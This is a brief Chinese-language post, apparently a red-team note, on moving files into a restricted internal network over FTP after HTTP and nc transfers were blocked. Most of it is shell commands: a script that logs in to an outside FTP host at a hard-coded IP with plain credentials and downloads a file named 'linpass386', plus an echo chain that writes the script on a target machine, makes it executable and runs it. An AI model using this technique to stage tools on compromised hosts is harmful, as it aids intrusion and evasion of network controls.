21年在某次攻防中内网限制http访问,尝试NC传文件也传不了。后来找了使用ftp文件下载
服务端需要放通20,21号端口
开启FTP服务。
shell脚本
#!/bin/shftp -v -n 120.131.13.90 <<EOFuser test 123binaryget linpass386byeEOFecho "success"
shell 写入执行
echo '#!/bin/sh' >>t1echo "ftp -v -n 120.131.13.90 <<EOF" >>t1echo "user test 123" >>t1echo "passive" >>t1echo "binary" >>t1echo "get linpass386" >>t1echo "bye" >>t1echo "EOF" >>t1echo "echo "success"" >>t1chmod 777 t1./t1
